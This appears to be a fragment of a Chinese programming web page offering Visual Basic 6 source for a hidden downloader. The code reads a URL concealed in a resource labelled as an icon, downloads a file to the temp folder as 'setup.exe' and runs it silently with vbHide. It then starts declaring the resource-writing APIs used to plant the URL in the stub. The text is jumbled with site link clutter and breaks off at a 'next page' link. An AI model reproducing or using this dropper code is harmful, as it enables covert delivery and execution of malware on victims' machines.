dim i as long chen = loadresdata("http", "图标") 取出数据 for i = 0 to 184 还原为字符 if chen(i) <> 0 and chen(i) <> 32 then sourceurl = sourceurl + chr(chen(i)) end if next temppath = string(255, 0) len5 = gettemppath(256, temppath) temppath = left(temppath, len5) targetfile = temppath + "setup.exe" 保存路径 hfile = urldownloadtofile(0&, sourceurl, targetfile, 0&, 0&)if hfile = 0 thenshell targetfile, vbhideend if
保存为bas 文件就可以了 【程序编程相关:使用ODBC, 将CSV文件里的数据导入】
end sub 【推荐阅读:如何对webbrowser和IE编程(一】
用到以下几个api 【扩展信息:重写datagridtextboxcol】
控制台文件需要对资源文件进行读写
public declare function beginupdateresource lib "kernel32" alias "beginupdateresourcea" (byval pfilename as string, byval bdeleteexistingresources as long) as long
... 下一页